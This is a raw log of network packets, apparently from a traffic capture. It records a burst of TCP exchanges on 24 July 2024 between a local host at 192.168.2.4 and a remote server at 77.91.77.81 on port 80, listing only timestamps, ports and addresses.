Jul 24, 2024 02:39:11.757224083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.757237911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.757258892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.757271051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.757292986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.757302046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.757328987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.757338047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.757368088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.757379055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.757411957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.769098043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.769326925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.769646883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.769696951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.769732952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.769767046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.769802094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.769829988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.769829988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.769829988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.769829988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.769839048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.769853115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.769887924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.856805086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.856924057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.856929064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.856976986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.856977940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857021093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857023954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857079029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857111931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857115030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857115030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857165098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857171059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857199907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857215881 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857237101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857287884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857321978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857355118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857357025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857357025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857383966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857383966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857392073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857402086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857441902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857441902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857494116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857496023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857532024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857544899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857578993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857585907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857619047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857639074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857652903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857661009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857686043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857698917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857722044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857732058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857755899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857770920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857790947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.857800961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.857841015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.889724970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.889785051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.889792919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.889830112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.889839888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.889866114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.889874935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.889900923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.889908075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.889935017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.889945030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.889971972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.889977932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.890008926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.890012026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.890050888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.890664101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.890712976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.890728951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.890749931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.890757084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.890783072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.890789032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.890818119 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.890825987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.890851974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.890858889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.890887022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.890897989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.890923023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.890934944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.890964985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.892798901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.892832994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.892852068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.892868042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.892874956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.892906904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.892916918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.892949104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.892962933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.892981052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.892991066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893017054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893021107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893059969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893119097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893160105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893202066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893234968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893249989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893270016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893280029 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893304110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893311977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893346071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893354893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893388033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893419981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893424988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893424988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893461943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893771887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893821001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893821001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893853903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893867016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893903971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893908978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893943071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.893944025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893985033 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.893992901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.894026041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.894036055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.894058943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.894066095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.894114017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895014048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895065069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895066023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895102024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895107031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895153046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895157099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895186901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895199060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895221949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895231009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895255089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895263910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895291090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895293951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895323038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895337105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895364046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895368099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895399094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895401001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895436049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895445108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895468950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895477057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895502090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.895509005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895539999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.895956039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896001101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896008015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896048069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896054983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896089077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896095037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896122932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896128893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896162987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896178961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896220922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896228075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896260977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896271944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896301031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896308899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896349907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896357059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896385908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896390915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896425009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896435022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896469116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896473885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896511078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896531105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896567106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896573067 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896600008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896605968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896635056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.896639109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.896672964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909250975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909281015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909308910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909315109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909332037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909354925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909368038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909410000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909418106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909451008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909457922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909488916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909497976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909531116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909538031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909563065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909571886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909596920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909606934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909630060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909631968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909667969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909682035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909714937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909720898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909749985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909759045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909782887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909790993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909821987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909835100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909868956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909878016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909902096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909909010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909934998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.909940958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909974098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.909987926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.910022974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.910028934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.910057068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.910064936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.910090923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.910094023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.910124063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.910134077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.910156965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.910162926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.910202026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.910245895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.910279989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.910285950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.910311937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.910321951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.910346985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.910352945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.910382032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.910387039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.910418987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.188627958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.188678026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.188692093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.188714027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.188714981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.188747883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.188755989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.188781977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.188790083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.188817024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.188827038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.188868046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.188882113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.188919067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.188925028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.188952923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.188958883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.188985109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.188996077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189024925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189043999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189078093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189085960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189110994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189116001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189150095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189152002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189183950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189189911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189217091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189223051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189251900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189285040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189286947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189286947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189320087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189325094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189352989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189361095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189388037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189392090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189420938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189428091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189455032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189460993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189487934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189496994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189522028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189527988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189557076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189560890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189591885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189598083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189625978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189626932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189660072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189666033 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189692974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189699888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189729929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189734936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189773083 CEST	49731	80	192.168.2.4	77.91.77.81
